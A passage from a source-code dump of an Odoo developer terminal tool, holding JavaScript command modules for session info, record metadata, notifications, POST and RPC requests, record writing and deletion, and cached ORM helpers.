- 2: Enabled with Assets'), 55 | undefined, 56 | [0, 1, 2], 57 | ], 58 | ], 59 | example: '-m 2', 60 | }; 61 | } 62 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/info.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooRoot from '@odoo/utils/get_odoo_root'; 8 | import getUrlInfo from '@odoo/utils/get_url_info'; 9 | import getUID from '@odoo/net_utils/get_uid'; 10 | import getUserName from '@odoo/net_utils/get_username'; 11 | import {ARG} from '@trash/constants'; 12 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 13 | import type Terminal from '@odoo/terminal'; 14 | 15 | async function cmdInfo(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 16 | let res; 17 | if (kwargs.active_id || kwargs.active_model) { 18 | const activeProps = getOdooRoot()?.actionService?.currentController?.props; 19 | const hasProps = typeof activeProps !== 'undefined'; 20 | if (kwargs.active_id) { 21 | res = Number(hasProps ? activeProps.resId : getUrlInfo('hash', 'id')); 22 | } else if (kwargs.active_model) { 23 | res = hasProps ? activeProps.resModel : getUrlInfo('hash', 'model'); 24 | } 25 | } else if (kwargs.user_id) { 26 | res = await getUID(true); 27 | } else if (kwargs.user_login) { 28 | res = await getUserName(true); 29 | } 30 | ctx.screen.print(res); 31 | return res; 32 | } 33 | 34 | export default function (): Partial { 35 | return { 36 | definition: i18n.t('cmdInfo.definition', 'Get session information'), 37 | callback: cmdInfo, 38 | detail: i18n.t('cmdInfo.detail', 'Obtains various information from the session'), 39 | args: [ 40 | [ARG.Flag, ['ui', 'user-id'], false, i18n.t('cmdInfo.args.userId', 'The user id')], 41 | [ARG.Flag, ['ul', 'user-login'], false, i18n.t('cmdInfo.args.userLogin', 'The user login')], 42 | [ARG.Flag, ['ai', 'active-id'], false, i18n.t('cmdInfo.args.activeId', 'The active record id')], 43 | [ARG.Flag, ['am', 'active-model'], false, i18n.t('cmdInfo.args.activeModel', 'The active record model')], 44 | ], 45 | }; 46 | } 47 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/json.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import rpcQuery from '@odoo/rpc'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | 11 | async function cmdPostJSONData(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | return rpcQuery({ 13 | route: kwargs.endpoint, 14 | params: kwargs.data, 15 | }).then(result => { 16 | ctx.screen.eprint(result, false, 'line-pre'); 17 | return result; 18 | }); 19 | } 20 | 21 | export default function (): Partial { 22 | return { 23 | definition: i18n.t('cmdJson.definition', 'Send POST JSON'), 24 | callback: cmdPostJSONData, 25 | detail: i18n.t('cmdJson.detail', "Sends HTTP POST 'application/json' request"), 26 | args: [ 27 | [ARG.String, ['e', 'endpoint'], true, i18n.t('cmdJson.args.endpoint', 'The endpoint')], 28 | [ARG.Any, ['d', 'data'], true, i18n.t('cmdJson.args.data', 'The data to send')], 29 | ], 30 | example: "-e /web_editor/public_render_template -d {args: ['web.layout']}", 31 | }; 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/jstest.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type Terminal from '@odoo/terminal'; 11 | 12 | async function cmdJSTest(kwargs: CMDCallbackArgs) { 13 | let mod = kwargs.module || ''; 14 | if (kwargs.module === '*') { 15 | mod = ''; 16 | } 17 | let url = '/web/tests'; 18 | if (kwargs.device === 'mobile') { 19 | url += '/mobile'; 20 | } 21 | url += `?module=${mod}`; 22 | window.location = url; 23 | } 24 | 25 | async function getOptions(this: Terminal, arg_name: string) { 26 | if (arg_name === 'module') { 27 | return cachedSearchRead( 28 | 'options_ir.module.module_active', 29 | 'ir.module.module', 30 | [], 31 | ['name'], 32 | await this.getContext({active_test: true}), 33 | undefined, 34 | {orderBy: 'name ASC'}, 35 | item => item.name, 36 | ); 37 | } 38 | return []; 39 | } 40 | 41 | export default function (): Partial { 42 | return { 43 | definition: i18n.t('cmdJSTest.definition', 'Launch JS Tests'), 44 | callback: cmdJSTest, 45 | options: getOptions, 46 | detail: i18n.t('cmdJSTest.detail', 'Runs js tests in desktop or mobile mode for the selected module.'), 47 | args: [ 48 | [ARG.String, ['m', 'module'], false, i18n.t('cmdJSTest.args.module', 'The module technical name')], 49 | [ 50 | ARG.String, 51 | ['d', 'device'], 52 | false, 53 | i18n.t('cmdJSTest.args.device', 'The device to test'), 54 | 'desktop', 55 | ['desktop', 'mobile'], 56 | ], 57 | ], 58 | example: '-m web -d mobile', 59 | }; 60 | } 61 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/lastseen.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import searchRead from '@odoo/orm/search_read'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@odoo/terminal'; 10 | 11 | async function cmdLastSeen(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | if (!this.longpolling) { 13 | throw new Error(i18n.t('cmdLastSeen.error.notAvailable', "Can't use lastseen, 'bus' module is not installed")); 14 | } 15 | return searchRead('bus.presence', [], ['user_id', 'last_presence'], await this.getContext(), { 16 | orderBy: 'last_presence DESC', 17 | }).then(result => { 18 | const rows = []; 19 | const len = result.length; 20 | for (let x = 0; x < len; ++x) { 21 | const row_index = rows.push([]) - 1; 22 | const record = result[x]; 23 | rows[row_index].push(record.user_id[1], record.user_id[0], record.last_presence); 24 | } 25 | ctx.screen.printTable( 26 | [ 27 | i18n.t('cmdLastSeen.table.userName', 'User Name'), 28 | i18n.t('cmdLastSeen.table.userID', 'User ID'), 29 | i18n.t('cmdLastSeen.table.lastSeen', 'Last Seen'), 30 | ], 31 | rows, 32 | ); 33 | return result; 34 | }); 35 | } 36 | 37 | export default function (): Partial { 38 | return { 39 | definition: i18n.t('cmdLastSeen.definition', 'Know user presence'), 40 | callback: cmdLastSeen, 41 | detail: i18n.t('cmdLastSeen.detail', 'Show users last seen'), 42 | }; 43 | } 44 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/logout.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooSession from '@odoo/utils/get_odoo_session'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@odoo/terminal'; 10 | 11 | async function cmdLogOut(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | const session = getOdooSession(); 13 | if (typeof session === 'undefined') { 14 | throw new Error( 15 | i18n.t('cmdLogout.error.notSession', 'Cannot find session information') 16 | ); 17 | } 18 | 19 | const res = await session.session_logout(); 20 | ctx.screen.updateInputInfo({username: 'Public User'}); 21 | ctx.screen.print(i18n.t('cmdLogout.result.success', 'Logged out')); 22 | await this.execute('reload', false, true); 23 | return res; 24 | } 25 | 26 | export default function (): Partial { 27 | return { 28 | definition: i18n.t('cmdLogout.definition', 'Log out'), 29 | callback: cmdLogOut, 30 | detail: i18n.t('cmdLogout.detail', 'Session log out'), 31 | }; 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/metadata.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import callModelMulti from '@odoo/osv/call_model_multi'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import renderMetadata from '@odoo/templates/metadata'; 10 | import {ARG} from '@trash/constants'; 11 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 12 | import type Terminal from '@odoo/terminal'; 13 | 14 | 15 | async function cmdMetadata(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 16 | const metadata = ( 17 | await callModelMulti<$ReadOnlyArray>( 18 | kwargs.model, 19 | [kwargs.id], 20 | 'get_metadata', 21 | null, 22 | null, 23 | await this.getContext(), 24 | ) 25 | )[0]; 26 | 27 | if (typeof metadata === 'undefined') { 28 | ctx.screen.printError(i18n.t('cmdMetadata.error.notFound', "Can't found any metadata for the given id")); 29 | } else { 30 | ctx.screen.print( 31 | renderMetadata( 32 | metadata.create_uid, 33 | metadata.create_date, 34 | metadata.write_uid, 35 | metadata.write_date, 36 | metadata.noupdate, 37 | metadata.xmlid, 38 | ), 39 | ); 40 | } 41 | return metadata; 42 | } 43 | 44 | async function getOptions(this: Terminal, arg_name: string) { 45 | if (arg_name === 'model') { 46 | return cachedSearchRead( 47 | 'options_ir.model_active', 48 | 'ir.model', 49 | [], 50 | ['model'], 51 | await this.getContext({active_test: true}), 52 | undefined, 53 | {orderBy: 'model ASC'}, 54 | item => item.model, 55 | ); 56 | } 57 | return []; 58 | } 59 | 60 | export default function (): Partial { 61 | return { 62 | definition: i18n.t('cmdMetadata.definition', 'View record metadata'), 63 | callback: cmdMetadata, 64 | options: getOptions, 65 | detail: i18n.t('cmdMetadata.detail', 'View record metadata'), 66 | args: [ 67 | [ARG.String, ['m', 'model'], true, i18n.t('cmdMetadata.args.model', 'The record model')], 68 | [ARG.Number, ['i', 'id'], true, i18n.t('cmdMetadata.args.id', 'The record id')], 69 | ], 70 | example: '-m res.partner -i 1', 71 | }; 72 | } 73 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/notify.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooEnv from '@odoo/utils/get_odoo_env'; 8 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | async function cmdNotify(this: Terminal, kwargs: CMDCallbackArgs) { 14 | const OdooVerMajor = getOdooVersion('major'); 15 | if (typeof OdooVerMajor === 'number') { 16 | if (OdooVerMajor < 17) { 17 | getOdooEnv().services.notification.notify({ 18 | message: kwargs.message, 19 | title: kwargs.title, 20 | subtitle: kwargs.subtitle, 21 | buttons: kwargs.buttons, 22 | sticky: kwargs.sticky, 23 | className: kwargs.className, 24 | type: kwargs.type, 25 | }); 26 | } else { 27 | getOdooEnv().services.notification.add( 28 | kwargs.message, 29 | { 30 | title: kwargs.title, 31 | subtitle: kwargs.subtitle, 32 | buttons: kwargs.buttons, 33 | sticky: kwargs.sticky, 34 | className: kwargs.className, 35 | type: kwargs.type, 36 | }); 37 | } 38 | } 39 | } 40 | 41 | export default function (): Partial { 42 | return { 43 | definition: i18n.t('cmdNotify.definition', 'Shows a notification'), 44 | callback: cmdNotify, 45 | detail: i18n.t('cmdNotify.detail', 'Displays a notification with a custom message'), 46 | args: [ 47 | [ARG.String, ['m', 'message'], true, i18n.t('cmdNotify.args.message', 'The message')], 48 | [ARG.String, ['ty', 'type'], false, i18n.t('cmdNotify.args.type', 'The type'), "warning", ["warning", "danger", "success", "info"]], 49 | [ARG.String, ['t', 'title'], false, i18n.t('cmdNotify.args.title', 'The title')], 50 | [ARG.String, ['sub', 'subtitle'], false, i18n.t('cmdNotify.args.subtitle', 'The subtitle')], 51 | [ARG.Flag, ['sticky', 'sticky'], false, i18n.t('cmdNotify.args.sticky', 'Is sticky')], 52 | [ARG.List | ARG.String, ['b', 'buttons'], false, i18n.t('cmdNotify.args.buttons', 'The buttons')], 53 | [ARG.String, ['cn', 'className'], false, i18n.t('cmdNotify.args.className', 'The className')], 54 | ], 55 | }; 56 | } 57 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/post.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooService from '@odoo/utils/get_odoo_service'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | 11 | async function cmdPostData(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | if (kwargs.mode === 'odoo') { 13 | const ajax = getOdooService('web.ajax'); 14 | if (ajax) { 15 | return ajax.post(kwargs.endpoint, kwargs.data).then(result => { 16 | ctx.screen.eprint(result, false, 'line-pre'); 17 | return result; 18 | }); 19 | } 20 | // $FlowIgnore 21 | return $.post(kwargs.endpoint, Object.assign({}, kwargs.data, {csrf_token: odoo.csrf_token}), (result: mixed) => { 22 | ctx.screen.eprint(result, false, 'line-pre'); 23 | return result; 24 | }); 25 | } 26 | // $FlowIgnore 27 | return $.post(kwargs.endpoint, kwargs.data, (result: mixed) => { 28 | ctx.screen.eprint(result, false, 'line-pre'); 29 | return result; 30 | }); 31 | } 32 | 33 | export default function (): Partial { 34 | return { 35 | definition: i18n.t('cmdPost.definition', 'Send POST request'), 36 | callback: cmdPostData, 37 | detail: i18n.t('cmdPost.detail', 'Send POST request to selected endpoint'), 38 | args: [ 39 | [ARG.String, ['e', 'endpoint'], true, i18n.t('cmdPost.args.endpoit', 'The endpoint')], 40 | [ARG.Any, ['d', 'data'], true, i18n.t('cmdPost.args.data', 'The data')], 41 | [ARG.String, ['m', 'mode'], false, i18n.t('cmdPost.args.mode', 'The mode'), 'odoo', ['odoo', 'raw']], 42 | ], 43 | example: '-e /web/endpoint -d {the_example: 42}', 44 | }; 45 | } 46 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/reload.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import type {CMDDef} from '@trash/interpreter'; 8 | 9 | async function cmdReloadPage() { 10 | location.reload(); 11 | } 12 | 13 | export default function (): Partial { 14 | return { 15 | definition: i18n.t('cmdReload.definition', 'Reload current page'), 16 | callback: cmdReloadPage, 17 | detail: i18n.t('cmdReload.detail', 'Reload current page.'), 18 | }; 19 | } 20 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/rollback.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import Recordset from '@terminal/core/recordset'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | 11 | async function cmdRollback(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | if (!Recordset.isValid(kwargs.recordset)) { 13 | throw new Error(i18n.t('cmdRollback.error.invalidRecordset', 'Invalid recordset')); 14 | } 15 | 16 | kwargs.recordset.rollback(); 17 | ctx.screen.print(i18n.t('cmdRollback.result.success', 'Recordset changes undone')); 18 | } 19 | 20 | export default function (): Partial { 21 | return { 22 | definition: i18n.t('cmdRollback.definition', 'Revert recordset changes'), 23 | callback: cmdRollback, 24 | detail: i18n.t('cmdRollback.detail', 'Undo recordset changes'), 25 | args: [[ARG.Any, ['r', 'recordset'], true, i18n.t('cmdRollback.args.recordset', 'The Recordset')]], 26 | example: '-r $recordset', 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/rpc.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import rpcQuery from '@odoo/rpc'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | 11 | async function cmdRpc(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | const result = await rpcQuery(kwargs.options); 13 | ctx.screen.eprint(result); 14 | return result; 15 | } 16 | 17 | export default function (): Partial { 18 | return { 19 | definition: i18n.t('cmdRpc.definition', 'Execute raw rpc'), 20 | callback: cmdRpc, 21 | detail: i18n.t('cmdRpc.detail', 'Execute raw rpc'), 22 | args: [[ARG.Dictionary, ['o', 'options'], true, i18n.t('cmdRpc.args.options', 'The rpc query options')]], 23 | example: "-o {route: '/jsonrpc', method: 'server_version', params: {service: 'db'}}", 24 | }; 25 | } 26 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/ual.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import callModel from '@odoo/osv/call_model'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | import type Terminal from '@odoo/terminal'; 10 | 11 | async function cmdUpdateAppList(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 12 | return callModel('ir.module.module', 'update_list', null, null, await this.getContext()).then(result => { 13 | if (result) { 14 | ctx.screen.print(i18n.t('cmdUal.result.success', 'The apps list has been updated successfully')); 15 | } else { 16 | ctx.screen.printError(i18n.t('cmdUal.error.noUpdate', "Can't update the apps list!")); 17 | } 18 | return result; 19 | }); 20 | } 21 | 22 | export default function (): Partial { 23 | return { 24 | definition: i18n.t('cmdUal.definition', 'Update apps list'), 25 | callback: cmdUpdateAppList, 26 | detail: i18n.t('cmdUal.detail', 'Update apps list'), 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/unlink.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import unlinkRecord from '@odoo/orm/unlink_record'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | async function cmdUnlinkModelRecord(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 14 | return unlinkRecord(kwargs.model, kwargs.id, await this.getContext(), kwargs.options).then(result => { 15 | ctx.screen.print( 16 | i18n.t('cmdUnlink.result.success', '{{model}} record deleted successfully', { 17 | model: kwargs.model, 18 | }), 19 | ); 20 | return result; 21 | }); 22 | } 23 | 24 | async function getOptions(this: Terminal, arg_name: string) { 25 | if (arg_name === 'model') { 26 | return cachedSearchRead( 27 | 'options_ir.model_active', 28 | 'ir.model', 29 | [], 30 | ['model'], 31 | await this.getContext({active_test: true}), 32 | undefined, 33 | {orderBy: 'model ASC'}, 34 | item => item.model, 35 | ); 36 | } 37 | return []; 38 | } 39 | 40 | export default function (): Partial { 41 | return { 42 | definition: i18n.t('cmdUnlink.definition', 'Unlink record'), 43 | callback: cmdUnlinkModelRecord, 44 | options: getOptions, 45 | detail: i18n.t('cmdUnlink.detail', 'Delete a record.'), 46 | args: [ 47 | [ARG.String, ['m', 'model'], true, i18n.t('cmdUnlink.args.model', 'The model technical name')], 48 | [ARG.List | ARG.Number, ['i', 'id'], true, i18n.t('cmdUnlink.args.id', "The record id's")], 49 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdUnlink.args.options', 'The options')], 50 | ], 51 | example: '-m res.partner -i 10,4,2', 52 | }; 53 | } 54 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/url.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getUrlInfo from '@odoo/utils/get_url_info'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 10 | 11 | async function cmdURL(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 12 | let res = ''; 13 | if (kwargs.section === 'search' || kwargs.section === 'hash') { 14 | if (typeof kwargs.key === 'undefined') { 15 | ctx.screen.printError(i18n.t('cmdURL.error.notKey', 'A key has not been provided')); 16 | return res; 17 | } 18 | res = getUrlInfo(kwargs.section, kwargs.key) || ''; 19 | } else { 20 | res = window.location[kwargs.section]; 21 | } 22 | 23 | ctx.screen.print(res); 24 | return res; 25 | } 26 | 27 | export default function (): Partial { 28 | return { 29 | definition: i18n.t('cmdURL.definition', 'Get URL parameters'), 30 | callback: cmdURL, 31 | detail: i18n.t('cmdURL.detail', 'Get URL parameters'), 32 | args: [ 33 | [ 34 | ARG.String, 35 | ['s', 'section'], 36 | true, 37 | i18n.t('cmdDepends.args.section', 'The URL section'), 38 | 'href', 39 | ['href', 'search', 'hash', 'host', 'hostname', 'protocol', 'port', 'origin'], 40 | ], 41 | [ARG.String, ['k', 'key'], false, i18n.t('cmdDepends.args.key', 'The key')], 42 | ], 43 | example: '-s hash -k model', 44 | }; 45 | } 46 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/version.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import getOdooVersionInfo from '@odoo/utils/get_odoo_version_info'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | 10 | async function cmdShowOdooVersion(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 11 | const version_info = getOdooVersionInfo(); 12 | if (typeof version_info === 'undefined') { 13 | throw new Error( 14 | i18n.t('cmdVersion.error.notVersionInfo', 'Cannot find version information') 15 | ); 16 | } 17 | 18 | ctx.screen.print(`${version_info.slice(0, 3).join('.')} (${version_info.slice(3).join(' ')})`); 19 | return version_info; 20 | } 21 | 22 | export default function (): Partial { 23 | return { 24 | definition: i18n.t('cmdVersion.definition', 'Know Odoo version'), 25 | callback: cmdShowOdooVersion, 26 | detail: i18n.t('cmdVersion.detail', 'Shows Odoo version'), 27 | }; 28 | } 29 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/write.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import writeRecord from '@odoo/orm/write_record'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | async function cmdWriteModelRecord(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 14 | return writeRecord(kwargs.model, kwargs.id, kwargs.value, await this.getContext(), kwargs.options).then(result => { 15 | ctx.screen.print( 16 | i18n.t('cmdWrite.result.success', '{{model}} record updated successfully', { 17 | model: kwargs.model, 18 | }), 19 | ); 20 | return result; 21 | }); 22 | } 23 | 24 | async function getOptions(this: Terminal, arg_name: string) { 25 | if (arg_name === 'model') { 26 | return cachedSearchRead( 27 | 'options_ir.model_active', 28 | 'ir.model', 29 | [], 30 | ['model'], 31 | await this.getContext({active_test: true}), 32 | undefined, 33 | {orderBy: 'model ASC'}, 34 | item => item.model, 35 | ); 36 | } 37 | return []; 38 | } 39 | 40 | export default function (): Partial { 41 | return { 42 | definition: i18n.t('cmdWrite.definition', 'Update record values'), 43 | callback: cmdWriteModelRecord, 44 | options: getOptions, 45 | detail: i18n.t('cmdWrite.detail', 'Update record values.'), 46 | args: [ 47 | [ARG.String, ['m', 'model'], true, i18n.t('cmdWrite.args.model', 'The model technical name')], 48 | [ARG.List | ARG.Number, ['i', 'id'], true, i18n.t('cmdWrite.args.id', "The record id's")], 49 | [ARG.Dictionary, ['v', 'value'], true, i18n.t('cmdWrite.args.value', 'The values to write')], 50 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdWrite.args.options', 'The options')], 51 | ], 52 | example: "-m res.partner -i 10,4,2 -v {street: 'Diagon Alley'}", 53 | }; 54 | } 55 | -------------------------------------------------------------------------------- /src/js/page/odoo/constants.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export const LP_SUBSCRIPTIONS = [ 6 | "bus.bus/im_status_updated", 7 | "simple_notification", 8 | "bundle_changed", 9 | "res.users.settings.volumes", 10 | "res.users/connection", 11 | "mail.activity/updated", 12 | "mail.record/insert", 13 | "mail.message/delete", 14 | "mail.message/inbox", 15 | "mail.message/mark_as_read", 16 | "mail.message/delete", 17 | "discuss.channel.rtc.session/peer_notification", 18 | "discuss.channel.rtc.session/sfu_hot_swap", 19 | "discuss.channel.rtc.session/ended", 20 | "discuss.channel.rtc.session/update_and_broadcast", 21 | "discuss.channel/leave", 22 | "discuss.channel/delete", 23 | "discuss.channel/new_message", 24 | "discuss.channel/transient_message", 25 | "discuss.channel/unpin", 26 | "discuss.channel.member/fetched", 27 | "discuss.channel/joined", 28 | "discuss.Thread/fold_state", 29 | ]; 30 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/cached_call_model_multi.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import hash from 'object-hash'; 7 | import callModelMulti from '@odoo/osv/call_model_multi'; 8 | 9 | export type CachedCallModelMultiOptions = { 10 | force?: boolean, 11 | }; 12 | 13 | export type MapCallback = (item: mixed) => mixed; 14 | 15 | const cache: {[string]: OdooService} = {}; 16 | export default async function ( 17 | cache_name: string, 18 | model: string, 19 | ids: $ReadOnlyArray, 20 | method: string, 21 | args: ?$ReadOnlyArray, 22 | kwargs: ?{[string]: mixed}, 23 | context: ?{[string]: mixed}, 24 | options: ?CachedCallModelMultiOptions, 25 | extra_options: ?{[string]: mixed}, 26 | map_func?: MapCallback, 27 | ): OdooService { 28 | const cache_hash = hash(Array.from(arguments).slice(0, 4)); 29 | if (options?.force === true || !Object.hasOwn(cache, cache_hash)) { 30 | let values: T; 31 | try { 32 | values = await callModelMulti(model, ids, method, args, kwargs, context, extra_options); 33 | } catch (_err) { 34 | // Do nothing 35 | } 36 | if (map_func && values instanceof Array) { 37 | cache[cache_hash] = values.map(map_func); 38 | } else { 39 | cache[cache_hash] = values; 40 | } 41 | } 42 | return cache[cache_hash]; 43 | } 44 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/cached_call_service.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import hash from 'object-hash'; 7 | import callService from '@odoo/osv/call_service'; 8 | 9 | export type CachedCallServiceOptions = { 10 | force?: boolean, 11 | }; 12 | 13 | export type MapCallback = (item: mixed) => mixed; 14 | 15 | const cache: {[string]: OdooService} = {}; 16 | export default async function ( 17 | cache_name: string, 18 | service: string, 19 | method: string, 20 | args: $ReadOnlyArray, 21 | options?: CachedCallServiceOptions, 22 | map_func?: MapCallback, 23 | ): OdooService { 24 | const cache_hash = hash(Array.from(arguments).slice(0, 4)); 25 | if (options?.force === true || !Object.hasOwn(cache, cache_hash)) { 26 | let values: Array = []; 27 | try { 28 | values = await callService(service, method, args); 29 | } catch (_err) { 30 | // Do nothing 31 | } 32 | if (map_func) { 33 | cache[cache_hash] = values.map(map_func); 34 | } else { 35 | cache[cache_hash] = values; 36 | } 37 | } 38 | return cache[cache_hash]; 39 | } 40 | -------------------------------------------------------------------------------- /src/js/page/odoo/net_utils/cached_search_read.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later 